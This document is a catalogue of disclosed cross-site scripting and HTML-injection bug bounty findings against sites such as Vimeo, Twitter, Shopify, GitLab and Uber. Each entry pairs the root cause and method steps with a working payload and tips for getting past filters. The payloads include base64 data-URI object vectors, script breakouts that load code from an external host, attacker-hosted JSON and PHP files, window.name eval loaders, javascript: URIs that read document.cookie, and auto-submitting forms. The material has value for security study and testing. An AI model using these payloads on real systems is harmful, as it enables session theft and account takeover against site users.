Method
- Enter the payload into a stored message field (approve/review phrase).
- When the stored value renders, the <object> loads the base64 data: URI as an HTML document and runs its inline script.
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoNCk+></object>
Insight — When <script> is filtered, <object data=data:text/html;base64,...> smuggles a whole HTML document (decoded payload here is <svg/onload=alert(4)>). Try data: URI object/iframe/embed vectors against filters that only block script tags/handlers.
Real-world example
JS-context stored XSS via profile Name with unicode length-limit bypass
◆ Info
Specimen #85488 · vimeo · awarded · 11 votes · resolved
Program vimeoSurface web
Root cause
The embedded player prints the video owner's Name into a JavaScript string context escaping " but not < > /, so </script><script> breaks out; a 32-char Name limit is defeated using a unicode host.
Method
- Set profile Name to a payload that closes the current script and opens a new external one
- Because Name is capped at 32 chars, host your JS on a short domain and reference it as /\u00f1 style
- Exploit that Chrome/Safari render the escaped \u00f1 (from character n-tilde) preceded by / as //u00f1, i.e. a protocol-relative URL to u00f1.xyz
- Load player.vimeo.com/video/<id>; the owner Name executes for any viewer of the public video
Name: </script><script src=/ñ.xyz>
# n-tilde is serialized as \u00f1; /\u00f1 is parsed as //u00f1 -> loads https://u00f1.xyz
Insight — When a value lands in a JS string and only " is escaped, </script> breaks out. Beat tight length limits by encoding the external host into a single multibyte char the sink expands, and use protocol-relative (//) loading to save characters.
Real-world example
Attribute-context injection bypasses a tag-stripping filter
◆ Info
Specimen #158484 · ui · awarded · 11 votes · resolved
Program uiSurface web
Root cause
A prior fix added a removeTags() that strips HTML tags, but the reflected value lands inside an existing HTML attribute, so no new tags are needed: a quote breaks out of the attribute and an event handler executes.
Method
- Identify a value reflected inside an attribute of an existing element (DOM sink)
- Close the attribute with a single quote and add an event handler
- Trigger the event (e.g. hover) to execute
https://scores.ubnt.com/form.html?uid=1&p=%27%20onmouseover=alert(document.domain)//
Insight — Tag-removal sanitizers do nothing for attribute-context sinks. When output is inside an attribute, you only need a quote + on<event>; no < or > is required, so blacklist/tag-strip filters are irrelevant.
Real-world example
Meta-tag attribute injection via unescaped quotes (http-equiv=refresh)
◆ Info
Specimen #159984 · gitlab · none · 11 votes · resolved
Program gitlabSurface webChain attribute injection -> meta-refresh open redirect / phishTag open-redirect
Root cause
User bio is reflected into <meta> tag attributes without escaping quotes, allowing injection of additional attributes such as http-equiv=refresh to force a client-side redirect.
Method
- Set the profile bio/field that feeds a meta tag
- Break out of the current attribute with a double quote and inject content=... http-equiv=refresh
- Visiting the profile auto-redirects the victim
0;url=http://www.bing.com" http-equiv="refresh
Insight — Reflection into meta tags is easy to miss; unescaped quotes there let you add http-equiv=refresh for stealthy redirection/phishing even when script execution is blocked. Test every field mirrored into <head>/<meta>.
Real-world example
Stored XSS via data:text/html;base64 <object> payload in a name field
◆ Info
Specimen #7868 · localize · none · 10 votes · resolved
Program localizeSurface webTag file-upload
Root cause
A user-controlled name field (group/project/user name) is stored and later rendered unencoded to other users; a base64 data-URI loaded via <object> smuggles an HTML/JS document past naive tag/keyword filters.
Method
- Log in and create a group/project whose name is the payload
- Have another user (translator/admin) view the page that renders the name
- Script executes in the victim context
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoNCk+></object>
(decodes to: <svg/onload=alert(4)>)
Plain-tag variant: "><svg onload="prompt(/xss/);"><!--
Insight — Name/title fields that echo back into admin dashboards and 'recent activity' panels are prime stored-XSS sinks; when angle-bracket tags are filtered, wrap the payload in a base64 data: URI inside <object data=...> to bypass keyword blacklists.
Real-world example
Android client renders HTML in folder names (CVE-2019-5450)
◆ Info
Specimen #631227 · nextcloud · awarded · 9 votes · resolved
Program nextcloudSurface mobile-android
Root cause
The Android client displays folder/file names through an HTML-rendering TextView (fromHtml), so tags embedded in a renamed folder are parsed and rendered client-side.
Method
- In the mobile client, rename a folder to a value containing HTML tags
- The list view renders the markup (<a>, <h1>, <img>) instead of showing it literally
<a href="google.com">test
normal<small>small<h1>BIG
Insight — On mobile, any label passed to Html.fromHtml / attributed-string renderers is an injection sink; server-provided or user-set names (folders, contacts, chat) should be checked. Escalate to <img src> for content spoofing / SSRF-style loads.
Real-world example
Second-order stored XSS via username in admin audit log + XML-RPC validation bypass
◆ Info
Specimen #3680090 · revive_adserver · none · 7 votes · resolved
Program revive_adserverSurface webChain XML-RPC validation bypass -> malicious username stored -&
Root cause
Usernames are rendered unescaped in the admin audit-log details view (second-order stored XSS fires when an admin reviews logs); separately the XML-RPC addUser method skips the username validation added in the CVE-2025-55129 fix, letting the API create malicious/impersonating usernames.
Method
- Create a user whose username contains a JS payload (via XML-RPC addUser, bypassing UI validation)
- Perform an action that logs an audit entry
- Admin viewing audit-log details executes the payload
username containing an XSS payload created via XML-RPC addUser (validation not enforced on the API path)
Insight — Identity fields (usernames, org names) that seem validated at signup are often rendered raw in admin-only surfaces (audit logs, activity feeds) - classic second-order stored XSS aimed at admins. Also re-test every input-validation fix on the API/XML-RPC path, which frequently skips UI-layer checks.
Real-world example
Third-party widget (Livefyre Media Wall) loads attacker JSON -> unsanitized bodyHtml XSS
◆ Info
Specimen #134061 · uber · USD 2000 · 6 votes · resolved
Program uberSurface webChain attacker-controlled data source -> widget renders bodyHtm
Root cause
Livefyre Media Wall's lf-content param controls the bootstrap domain it fetches JSON from; the returned content.bodyHtml is injected into the DOM unsanitized, so an attacker-hosted JSON response yields XSS on every site embedding the widget.
Method
- On any site running Livefyre Media Wall, set lf-content=attacker-domain:collection_id:content_id
- Host JSON at bootstrap.attacker-domain/api/v3.0/content/thread/ with an XSS payload in bodyHtml
- Widget fetches and renders it
https://TARGET/?lf-content=attacker.com/uber.php?:131560603:307477931
// JSON: {"data":{"content":[{"content":{"bodyHtml":"<script>alert(document.domain)</script>",...}}]}}
Insight — Embedded third-party widgets that take a client-controlled data-source URL (lf-content, feed=, config=) are XSS goldmines: point them at your own server and control the rendered fields (bodyHtml). One widget bug hits every customer embedding it.
Real-world example
Second-order stored XSS via profile name (validated on write page, raw on read page)
◆ Info
Specimen #2639 · slack · none · 6 votes · resolved
Program slackSurface web
Root cause
A profile/account name field is properly encoded where it is set, but a different page that displays the same value (support ticket / import / member list / forum title) renders it unescaped - the classic second-order stored XSS.
Method
- Set your display/profile name (or team name) to an XSS payload; note the source page looks safe
- Visit the secondary page that renders the value (help ticket, /services/import, member list)
- Payload executes there
"><img src=x onerror=prompt(document.domain)>
// JS-string context variant: </script><script>alert('xss')</script>
Insight — Never judge a stored input by the page you entered it on. Enumerate EVERY place a stored value (name, city, team name, forum title) is echoed - encoding is frequently applied inconsistently across views. Use a unique canary and grep all surfaces for it.
Real-world example
Concrete CMS sitemap.php reflected XSS ($callback echoed into attribute)
◆ Info
Specimen #6853 · concretecms · none · 6 votes · resolved
Program concretecmsSurface web
Root cause
elements/dashboard/sitemap.php echoes $callback (from sitemap_select_mode) into a sitemap-select-callback HTML attribute without escaping, allowing attribute breakout.
Method
- Request the search_dialog tool with a crafted sitemap_select_mode
- Payload breaks out of the attribute into a script tag
/index.php/tools/required/pages/search_dialog?sitemap_select_mode="><script>alert(0)</script>
Insight — On PHP/CMS targets, grep source for echo of request params into HTML attributes (echo $x inside attr="..."). Callback/mode parameters that populate JS-callback attributes are common unescaped sinks.
Real-world example
Flash SharedObject poisoning via unsandboxed SWF inclusion (Vimeo moogaloop)
◆ Info
Specimen #44512 · vimeo · awarded · 6 votes · resolved
Program vimeoSurface webChain cdn_url unsandboxed inclusion -> attacker SWF in CDN orig
Root cause
moogaloop.swf accepts a cdn_url param that replaces the path it loads its controller SWF from, letting an attacker load a malicious SWF into f.vimeocdn.com's security domain; that SWF writes a Flash SharedObject (com.conviva.livePass) whose cached swf-URL entry is later loaded, yielding persistent XSS on any site embedding the player.
Method
- Open moogaloop.swf?cdn_url=<attacker SWF> to load attacker code into the CDN's security domain
- Attacker SWF sets the SharedObject entry (lastSwfUrls) to a malicious swf URL and warms the browser cache
- Any page embedding the deprecated moogaloop embed loads the poisoned swf on play -> JS executes
http://f.vimeocdn.com/p/flash/moogaloop/6.0.30/moogaloop.swf?cdn_url=https://ATTACKER/set_shared_con.swf%3f
Insight — Unsandboxed Flash inclusion (a param that overrides where a SWF loads sub-SWFs from) lets you run code inside the host CDN's origin; combining that with Flash SharedObject persistence (LSO keyed by domain) yields a durable client-side compromise across all embedders. Look for cdn_url/base/loader params in legacy SWFs.
Real-world example
Stored XSS in poll / interactive input features
◆ Info
Specimen #95231 · x · awarded · 6 votes · resolved
Program xSurface web
Root cause
User-supplied text in secondary interactive widgets (polls, quizzes, quick-questions) is rendered to other viewers without HTML-encoding, because these newer/less-audited input surfaces skip the sanitization applied to primary content fields.
Method
- Find an interactive widget that accepts free text shown to other users (poll option, quiz question, survey)
- Submit an HTML/JS payload as the field value
- Confirm it executes in the viewer's session, not just the author's
<img src=x onerror=alert(1)>
Insight — Audit every secondary content surface, not just the main comment/post box: polls, quizzes, presentation Q&A, group-topic titles are frequently unsanitized while the main body is filtered.
Real-world example
Reflected XSS in JavaScript string context (single-quote breakout)
◆ Info
Specimen #85615 · vimeo · awarded · 6 votes · resolved
Program vimeoSurface web
Root cause
A GET parameter is reflected inside a JavaScript string literal passed to a function call without escaping, so a single quote breaks out of the string and injected code runs as JS.
Method
- Locate a param whose value appears inside inline <script> (e.g. an init/config function argument)
- Inject a single quote plus JS and re-close the string
- Verify execution with alert(document.domain)
https://vimeo.com/musicstore?section=%27-alert(document.domain)-%27
Insight — When a value lands inside JS rather than HTML, HTML-encoding won't save the defender and tag filters won't stop you; test string-breakout payloads like '-alert()-' and ";alert()// per quote style. Grep the raw HTML for the reflection's surrounding <script> context.
Real-world example
Reflected XSS filter bypass via URL-encoded '='
◆ Info
Specimen #93550 · adobe · none · 6 votes · resolved
Program adobeSurface web
Root cause
An input filter blocks/strips the literal '=' character to stop attribute-style XSS, but the value is later URL-decoded, so supplying %3D reintroduces '=' after the filter has run.
Method
- Find a reflection where naive XSS is blocked and note which character is stripped
- Encode that character (=, /, etc.) and resubmit
- Confirm the decoded form reaches the sink
http://edex.adobe.com/search/global/<payload using %3D in place of =>
Insight — Filter-before-decode order bugs are common: if a specific char is blocked, try its percent-encoding, double-encoding, or unicode form. The mismatch between where filtering and decoding happen is the whole vulnerability.
Real-world example
Length-limited stored XSS via window.name + eval(name)
◆ Info
Specimen #96229 · vimeo · awarded · 6 votes · resolved
Program vimeoSurface web
Root cause
A short, length-capped user field (display name) is reflected unescaped into another origin's page; the cap is defeated by staging the real payload in window.name and using a tiny loader that eval()s it.
Method
- Find an unescaped but length-limited reflected/stored field (username shown on a player/embed)
- Set the field to a minimal loader: <svg onload=eval(name)></svg>
- From an attacker page set window.name to the full JS then navigate the victim to the target so the loader eval()s window.name
name field: <svg onload=eval(name)></svg>
attacker page: window.name = "prompt(document.domain,document.cookie)"; location='https://player.TARGET/...';
Insight — A character limit is not a mitigation. window.name survives cross-origin navigation, so any eval-able short gadget (eval(name), setTimeout(name)) unlocks unlimited payload length. Cross-origin execution on player/embed subdomains also widens cookie scope.
Real-world example
javascript: URI in unfiltered user-supplied link/href
◆ Info
Specimen #148751 · paragonie · awarded · 6 votes · resolved
Program paragonieSurface web
Root cause
A user-controlled URL (comment author website, bookmark URL) is placed into an href without protocol validation, so a javascript: URI executes when the link is clicked.
Method
- Find any field that becomes a clickable link (website, profile URL, bookmark)
- Set it to javascript:alert(document.domain)
- Click the rendered link to fire the payload
javascript:alert(document.domain)
Insight — Any place user input reaches an href/src must be protocol-whitelisted to http/https. HTML-encoding does nothing here; the fix is scheme validation. Often only mitigated (not blocked) by CSP, so CSP-less clients remain exploitable.
Real-world example
Stored XSS via image-fetch: remote server controls saved filename
◆ Info
Specimen #152692 · automattic · awarded · 6 votes · resolved
Program automatticSurface apiChain SSRF-style image fetch -> attacker-controlled filename -&Tag file-upload
Root cause
WooCommerce's upload_image_from_url fetches an attacker-supplied URL; when the URL extension is unknown, the saved filename/type is taken from the server's Content-Disposition/Content-Type headers, letting the attacker force an .html file into the media library that later executes as stored XSS.
Method
- Find a 'fetch image from URL' feature (product/category image, avatar)
- Point it at attacker server whose URL has no recognizable image extension (e.g. image.php)
- Return Content-Disposition: filename=poc.html (or Content-Type image/html) so the app saves an HTML file
- Access the stored file in the media library / uploads to trigger XSS
PUT /wc-api/v3/products/categories/<id>?consumer_key=..&consumer_secret=..
{"product_category":{"image":"http://ATTACKER/image.php"}}
// ATTACKER/image.php:
<?php header("content-disposition: filename=poc.html"); echo "<script>alert(1)</script>"; ?>
Insight — When an app derives a saved filename/extension from remote HTTP response headers, the remote server is the trust boundary. Whitelist the final extension against real image types; never trust Content-Disposition/Content-Type. This is an SSRF-adjacent primitive that lands stored HTML.
Real-world example
Reflected XSS in outdated WordPress MediaElement flash shim
◆ Info
Specimen #155228 · eternal · none · 6 votes · resolved
Program eternalSurface web
Root cause
WordPress < 4.5.2 ships a vulnerable flashmediaelement.swf whose jsinitfunction parameter is passed to ExternalInterface without validation, giving reflected XSS on any site running the outdated core.
Method
- Fingerprint WordPress version (readme, meta generator, /wp-includes paths)
- If < 4.5.2, request the bundled flashmediaelement.swf with a jsinitfunction payload
- Confirm JS execution
/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alert`1`
Insight — Version fingerprint first, then map to known bundled-file CVEs. Outdated framework/CMS core files (SWFs, .js shims) are reliable reflected-XSS sources - keep a checklist of version-to-known-XSS-file mappings (wpvulndb).
Real-world example
All-context XSS polyglot in password field
◆ Info
Specimen #7995 · localize · none · 5 votes · resolved
Program localizeSurface web
Root cause
Sign-up password POST parameter is reflected unencoded into the response; because the reflection context is unknown, a single polyglot payload breaks out of multiple contexts (comment, script, title, textarea, style, attribute) at once.
Method
- Submit the sign-up form (POST) at /pages/sign_up
- Set the password parameter to the polyglot payload
- Observe alert() firing where the value is reflected
/*-->]]>%>?></object></script></title></textarea></noscript></style></xmp>'-/"/-alert(1)//><img src=1 onerror=alert(1)>
Insight — Keep a context-agnostic polyglot in your kit for fields (like passwords) you cannot see reflected directly; one submission tells you if any reflection context is exploitable.
Real-world example
Markdown code-fence language becomes a CSS classname
◆ Info
Specimen #12815 · security · none · 5 votes · resolved
Program securitySurface web
Root cause
Redcarpet renders a fenced code block's language token directly as the HTML element's class attribute; if site CSS/JS keys off class names, an attacker-chosen language can hijack UI (hide the top bar, trigger popups/UI redress).
Method
- Post markdown containing a fenced code block
- Use a language token matching a meaningful site CSS/JS class
- Rendered <code class="LANG"> inherits that class and alters the page
```js-topbar
i eat the topbar
```
```js-share-link
i open a popup
```
Insight — When a markdown renderer maps the code-fence language to a class, test whether app CSS/JS treats those classes as significant -> UI redress / clickjacking without needing raw HTML injection.
Real-world example
Style-context reflected XSS bypassed by switching GET to POST
◆ Info
Specimen #31187 · bookfresh · none · 5 votes · resolved
Program bookfreshSurface webChain POST-based filter bypass + missing X-Frame-Options -> zer
Root cause
The bk color param is reflected inside <style>body{background-color:#VALUE}</style>. The XSS filter is applied only to GET requests; the same parameter sent via POST is reflected unencoded, allowing </style><script> breakout. Missing X-Frame-Options lets the whole flow be auto-submitted from a hidden iframe.
Method
- Note bk reflected inside a <style> block
- Confirm GET is filtered
- Send bk via POST with a style-breakout payload
- Auto-submit the POST form from a hidden iframe on attacker page
<form action="https://TARGET/index.html" method="post">
<input type="hidden" name="bk" value="</style><script>alert(document.domain);</script><style>">
<input type="hidden" name="view" value="upload_form">
</form>
<script>document.forms[0].submit();</script>
Insight — When GET reflections are filtered, resend the identical parameter via POST (or other methods) - input validation is frequently bound to a single HTTP verb. Also break out of <style> contexts with </style>.
Real-world example
Stored XSS via app/account name rendered in a mobile app
◆ Info
Specimen #41856 · x · awarded · 5 votes · resolved
Program xSurface mobile-android
Root cause
A user-controlled name field (app name / account name) is stored server-side and later rendered as HTML without encoding in a different consumer - here a native/WebView Android client - so the injection executes for other users far from the original input point.
Method
- Create an app / account whose name is an HTML/JS payload
- Invite/expose other users to the object
- Payload renders unescaped when they view it (web or in the mobile app)
"><img src=x onerror=alert(2)>
Insight — Trace where stored name/title fields are re-rendered - the sink is often a different surface (mobile app, admin panel, invite email) than where you injected. Test cross-surface rendering, not just the web page you typed into.
Real-world example
javascript: URI in original_referer with forced null referrer
◆ Info
Specimen #50134 · x · awarded · 5 votes · resolved
Program xSurface web
Root cause
The Twitter intent flow reflects the original_referer parameter into a 'return to previous site' link href; a javascript: URI there executes on click. The exploit link uses rel=noreferrer so the real Referer is null, which is required for the vulnerable code path to use the attacker-supplied value.
Method
- Craft intent URL with original_referer=javascript:alert(1)
- Wrap the link with rel=noreferrer to null the real referrer
- Victim clicks follow, then 'return to previous site' -> javascript: URI fires
<a href="https://twitter.com/intent/favorite/complete?tweet_id=ID&already_favorited=false&original_referer=javascript:alert(1);" rel="noreferrer">click here and follow</a>
Insight — 'Return/back' links built from a referrer or return param are javascript: URI sinks. Use rel=noreferrer (or a null-referrer context) to satisfy code paths that only fall back to the attacker value when the real referrer is absent.
Real-world example
Stored javascript: URI in user website link field
◆ Info
Specimen #54321 · shopify · awarded · 5 votes · resolved
Program shopifySurface web
Root cause
A profile 'Website' field is stored and later rendered as a clickable anchor href without scheme validation, so a javascript: URI executes when another user (or the owner) clicks the link.
Method
- Edit partner account 'Website (optional)' field
- Set value to a javascript: URI (append a real URL after // to look valid)
- Save; click the website link on the account page
javascript:alert(document.cookie);//http://example.ua
Insight — Any user-supplied URL that becomes an <a href> is a javascript:/data: sink - test link/website/homepage fields for scheme injection, not just script tags. Append //http://real after the payload to pass loose URL sanity checks.
Real-world example
Stored XSS in track name chained with IDOR to hit any user
◆ Info
Specimen #78260 · ok · awarded · 5 votes · resolved
Program okSurface webChain Stored XSS (track name) + IDOR (track id) + session-independTag account-takeover
Root cause
A music track name can carry dangerous tags (stored XSS). When gifting/adding a song, the track id in the request can be swapped (IDOR) to inject a poisoned track owned by nobody. The resulting paymentnew.ok.ru redirect link already contains all needed data and is not bound to the creator's session, so the XSS fires for any victim who opens the link.
Method
- Prepare a track whose name contains an XSS payload
- Start a gift/purchase flow and add a song
- Intercept the add request and change the track id to the poisoned track id (IDOR)
- Forward; cascade of redirects triggers the stored XSS
- Extract the session-independent paymentnew.ok.ru link and send it to any victim
(intercept add-song request) st.trackId=122884868317642 # attacker-poisoned track with XSS in its name
Insight — Combine a stored/blind XSS sink with an IDOR on the object id and a session-independent deep link to turn a self-only injection into a cross-user, weaponizable attack URL. Always check whether the resulting link is tied to your session.
Real-world example
rails-html-sanitizer whitelist bypass via CDATA node
◆ Info
Specimen #81212 · rails · awarded · 5 votes · resolved
Program railsSurface other
Root cause
The Rails WhiteListSanitizer (rails-html-sanitizer < 1.0.3, CVE-2015-7580) mishandles CDATA sections, letting a crafted string smuggle markup past the allowed-tags whitelist and reach the browser as executable HTML.
Method
- Identify output built via sanitize(user_input, tags: %w(...))
- Supply input using a CDATA section to slip past the scrubber
- Sanitized output still contains attacker markup -> XSS
# vulnerable pattern:
<%= sanitize user_input, tags: %w(em) %>
# fix: upgrade to 1.0.3, or scrub CDATA nodes (replace node with text) in a PermitScrubber monkeypatch
Insight — HTML sanitizers that whitelist tags can still be bypassed through parser-level constructs (CDATA, comments, mXSS). When you see server-side sanitize()/whitelist, fingerprint the library+version and check for known parser-confusion CVEs.
Real-world example
XSS via Referer header reflected into onclick JS string
◆ Info
Specimen #83374 · owncloud · none · 5 votes · resolved
Program owncloudSurface web
Root cause
The Referer header value is reflected into a single-quoted JavaScript string inside an onclick handler (location.href='REFERER'); a quote+; breaks out of the string and injects script.
Method
- Send a request with a crafted Referer header
- Value lands inside onclick="location.href='...'"
- Close the string with ' and append JS
Referer: http://attacker.example/qwe';alert(1)+'
Insight — Headers (Referer, User-Agent, X-Forwarded-*) are XSS sources too. When a value is echoed into an inline JS string, escape with a matching quote and concatenation (';payload+') rather than an HTML tag.
Real-world example
Android WebView JS enabled + addJavascriptInterface RCE surface
◆ Info
Specimen #87835 · owncloud · none · 5 votes · resolved
Program owncloudSurface mobile-androidChain WebView XSS -> addJavascriptInterface reflection -> de
Root cause
A WebView loading an SSO/SAML page sets setJavaScriptEnabled(true); on vulnerable Android versions (<4.2, CVE-2013-4710) any addJavascriptInterface bridge lets injected JS reach Java reflection APIs, escalating XSS in the WebView to command execution on the device.
Method
- Audit WebView setup (grep setJavaScriptEnabled / addJavascriptInterface)
- Note JS enabled while loading remote/untrusted or MITM-able SSO URLs
- On old Android, bridge reflection -> Runtime.exec
webSettings.setJavaScriptEnabled(true); // on remote SSO WebView
// if addJavascriptInterface present + API<17: bridge.getClass().forName('java.lang.Runtime')... -> RCE
Insight — When reviewing mobile apps, flag WebViews that enable JavaScript for remote content, especially auth/SSO flows; combined with a JS bridge and old targetSdk this is XSS-to-RCE, not just DOM XSS.
Real-world example
Length-limited stored XSS chained across multiple name fields
◆ Info
Specimen #119022 · x · awarded · 5 votes · resolved
Program xSurface web
Root cause
Group DM names are rendered unescaped in TweetDeck (stored XSS), but each name is capped at 9 characters. The payload is split across several sequential group names, which render adjacently, reassembling into a full working script.
Method
- Create a DM group with name starting the payload: <script>alert(1);//
- Create additional groups continuing the payload in each 9-char name
- Open tweetdeck.twitter.com where the names render together and execute
<script>alert(1);// (continued across multiple 9-char group names that render consecutively)
Insight — A short length limit is not a mitigation if multiple attacker-controlled fields render next to each other - split the payload across records/fields (group names, list items, tags) so the DOM reassembles it.
Real-world example
Stored XSS via nested-array parameter key as HTML attribute
◆ Info
Specimen #123125 · shopify · awarded · 5 votes · resolved
Program shopifySurface web
Root cause
Sending properties[builder_id] as a 2-level array (properties[builder_id][KEY]=value) makes the backend serialize it to an object whose KEY is emitted into cart HTML as an attribute name; an attacker-controlled key injects an event-handler attribute (onmouseover) into cart.js output.
Method
- Locate cart/add properties[] params reflected in cart.js
- Turn a scalar into a nested array: properties[builder_id][ onmouseover=alert(1) ]=value
- Send victim the cart URL; injected attribute fires on hover
http://TARGET/cart/add?...&properties[builder_id][%20onmouseover%3dalert(document.cookie)%20]=shapp_options_...&add
Insight — Array/object parameter parsing is an injection surface: the KEY of a nested param can land in a different context (attribute name) than a normal value, bypassing value-only encoding. Fuzz params as arrays, not just strings.
Real-world example
XSS via spoofed React element (dangerouslySetInnerHTML)
◆ Info
Specimen #124277 · imgur · awarded · 5 votes · resolved
Program imgurSurface web
Root cause
Query params are parsed into a nested object that is passed to React as an element; by setting _isReactElement=true plus props.dangerouslySetInnerHTML.__html, the attacker forges a React element whose inner HTML React renders verbatim, executing script.
Method
- Find a param deserialized into an object then rendered by React
- Add error[_isReactElement]=true and error[type]=body
- Add error[props][dangerouslySetInnerHTML][__html]=<img src=a onerror=...>
http://TARGET/path?error[props][dangerouslySetInnerHTML][__html]=<img src=a onerror="alert('XSS on '+document.domain)">&error[_isReactElement]=true&error[type]=body
Insight — In React apps, if user-controlled data is deserialized (query/JSON) into an object that reaches render(), you can spoof a React element with dangerouslySetInnerHTML to bypass React's default escaping. Ref: danlec 'XSS via a spoofed React element'.
Real-world example
Type-juggling array param bypasses string-only encoding
◆ Info
Specimen #127163 · coursera · none · 5 votes · resolved
Program courseraSurface web
Root cause
The search query param is HTML-encoded when a string, but supplying it as an array (query[]=...) routes it through a code path that reflects the value unencoded into the page, yielding reflected XSS.
Method
- Confirm ?query=payload is safely encoded
- Resend as ?query[]=payload
- Value reflected raw inside a <strong> -> markup/JS injection
https://TARGET/courses/?query[]=secalert%22/%3E%3Cmarquee+onstart=alert(document.domain)%3E
Insight — When a param is properly encoded, retry it as an array (param[]=) - frameworks often only sanitize the scalar type, and the array branch reflects raw. A cheap, high-yield bypass to keep in the checklist.
Real-world example
XSS in WordPress-bundled Flash SWF via cache-buster param
◆ Info
Specimen #137906 · eternal · none · 5 votes · resolved
Program eternalSurface webTag file-upload
Root cause
Old WordPress bundles vulnerable Flash uploader/media SWFs (plupload.flash.swf, flashmediaelement.swf) that read Flashvars callback names from the query string and pass them to ExternalInterface; a param name containing a %g (invalid URL escape) survives filtering and injects an attacker-chosen JS callback.
Method
- Locate the bundled SWF path under wp-includes/js/
- Pass a flashvar callback param with a %g cache-buster trick
- SWF calls the attacker-named JS function -> XSS
https://TARGET/wp-includes/js/plupload/plupload.flash.swf?target%g=alert&uid%g=hello&
# variant: /wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alert`PoC`
Insight — On any WordPress (or Flash-using) target, probe known-vulnerable bundled SWFs by path; the %g invalid-escape trick smuggles the callback param past param filters. Update WP/Plupload/MediaElement to remediate.
Real-world example
DOM XSS via redirect/return param into document.location javascript:
◆ Info
Specimen #146939 · vkcom · none · 5 votes · resolved
Program vkcomSurface web
Root cause
The return parameter is taken by client-side JS and assigned to document.location without scheme validation; a javascript: value executes after the callback runs (here, after entering the correct SMS code).
Method
- Set return=javascript:alert(1);//<original path>
- Complete the flow that triggers the callback (enter valid SMS code)
- JS runs document.location = returnValue -> javascript: URI executes
/activation.php?act=activate_mobile&hash=HASH&return=javascript:alert(1);//offersdesk%3Fact%3Dstart_offer%26offer_id%3D1237
Insight — Trace return/redirect/next params into client sinks (document.location, location.href). If the value is assigned without a http(s)-scheme check, a javascript: URI is DOM XSS - not just open redirect.
Real-world example
javascript: scheme bypass via template placeholder substituted after scheme validation
◆ Info
Specimen #229735 · weblate · none · 5 votes · resolved
Program weblateSurface web
Root cause
A URL template is validated against a FORBIDDEN_URL_SCHEMES blocklist BEFORE placeholders like %(branch)s are substituted. Because the dangerous scheme is supplied through the substituted value (a branch literally named 'javascript'), the finished URL is a javascript: link that passed validation.
Method
- Create a repo branch named 'javascript'
- Set the repository source-code URL template to '%(branch)s:alert(1);//https://'
- Open a source-file link; after substitution the href becomes 'javascript:alert(1);//https://' and fires on click
%(branch)s:alert(1);//https:// (with branch name = javascript)
Also: %-encoded controls like %00 / %09 inside a scheme can defeat naive FORBIDDEN_URL_SCHEMES checks in some browsers
Insight — Whenever a value is validated before template/variable interpolation, re-check the FINAL string. Placeholder substitution, config merges, and format strings that run after the sanitizer are classic scheme/HTML-injection bypasses. Validate the composed href, and strip control chars before the first ':' .
Real-world example
Stored HTML injection via user displayname in autocomplete/mention rendering
◆ Info
Specimen #383117 · nextcloud · none · 5 votes · resolved
Program nextcloudSurface web
Root cause
A user's chosen displayname is rendered as HTML (not text) in the comment/Talk autocomplete suggestion and resulting mention, so an <a href> in the name becomes a live, attacker-controlled link/markup shown to other users.
Method
- As user1 set displayname to '<a href="https://evil">Name</a>'
- As user2 autocomplete/mention that user in comments or Talk chat
- Clicking the mention redirects user2 to the attacker URL (HTML renders; <script> is stripped, links/markup are not)
<a href="https://nextcloud.com">Name</a>
Insight — Display names, profile fields, and mention chips are cross-user stored sinks. Even when <script> is filtered, HTML injection enables link/markup spoofing and phishing. Probe every profile/display field with an anchor and formatting tags, and check where it is rendered for OTHER users (mentions, activity feeds, notifications).
Real-world example
DOM XSS via sanitizer + textContent entity-decode bypass
◆ Info
Specimen #65284 · mapbox · awarded · 4 votes · resolved
Program mapboxSurface web
Root cause
A sanitize() call is followed by reading .textContent of a temp DIV, which decodes HTML entities (< -> <); the decoded string is then re-inserted via innerHTML, resurrecting a live tag the sanitizer thought it neutralized.
Method
- Create a map and set a marker title to an HTML-entity-encoded payload
- Sanitizer passes it (looks inert as entities)
- stripHTML() decodes < back to < via textContent
- Decoded <img onerror> is added to the share page DOM and fires on load
<img src=x onerror=alert(1) "
Insight — When a client-side sanitizer is followed by innerHTML/textContent round-tripping, entity-encoded payloads can be decoded back into live markup AFTER sanitization. Audit any stripHTML/sanitize helper that reads textContent then re-injects; escape (e.g. _.escape) the final string.
Real-world example
Second-order stored XSS via third-party data source (Play Store app name)
◆ Info
Specimen #27846 · x · awarded · 4 votes · resolved
Program xSurface web
Root cause
The target imports and renders attacker-controlled data from an external service (a Google Play app's name) without output encoding; the XSS payload is planted on the third-party platform, then pulled into the victim app.
Method
- Publish/find a Play Store app whose name contains an XSS payload
- In Twitter Ads app-install campaign, add the app by its Play Store package id
- The app name is fetched and rendered unescaped -> XSS fires
App name on Play Store: "><img src=x onerror=alert(1)> (added via package id com.rssappmaker.athe319)
Insight — Any field that ingests data from an external/third-party source (app stores, social profiles, WHOIS, gravatar, oEmbed, imported CSV) is a stored-XSS sink outside the target's own input filters. Look for 'import by ID/URL' features and plant the payload upstream.
Real-world example
Persistent XSS via <title> context breakout in ad card name
◆ Info
Specimen #27511 · x · awarded · 4 votes · resolved
Program xSurface web
Root cause
User-controlled card name is reflected inside a <title> element; closing </title> escapes the RCDATA context and allows arbitrary markup/script.
Method
- Create/clone an ad card and set card[name] to the payload
- Save the card (payload persists)
- Open the card show page (?url_id=...) to trigger execution
</title><script>alert(document.cookie)</script><title>
Insight — When reflection lands inside <title> (or <textarea>/<style>), plain script tags won't fire until you close the enclosing element first. Always canary the surrounding tag and break out of RCDATA/RAWTEXT contexts.
Real-world example
Stored javascript: URI in order param, clickable to admin (customer -> admin)
◆ Info
Specimen #55842 · shopify · awarded · 4 votes · resolved
Program shopifySurface webChain anonymous customer stores javascript: URI in order -> admTag account-takeover
Root cause
A customer-supplied parameter (referer / cart line-item property) containing a javascript: URI is stored with the order and later rendered as a clickable link in the merchant admin panel; the admin clicking it executes attacker JS in the admin origin.
Method
- As an unauthenticated customer, place an order via buy-button URL
- Set the referer (or a cart line-item property) to a javascript: URI
- Complete the order
- Merchant/admin opens the order in the control panel and clicks the referer link -> XSS in admin context
https://shop.myshopify.com/cart/ID:1?channel=buy_button&referer=javascript:alert(document.cookie);
--- variant (line-item property, #106636) ---
POST /cart/add properties[Artwork file]=javascript:alert(document.domain) //http://x/pwned.jpg
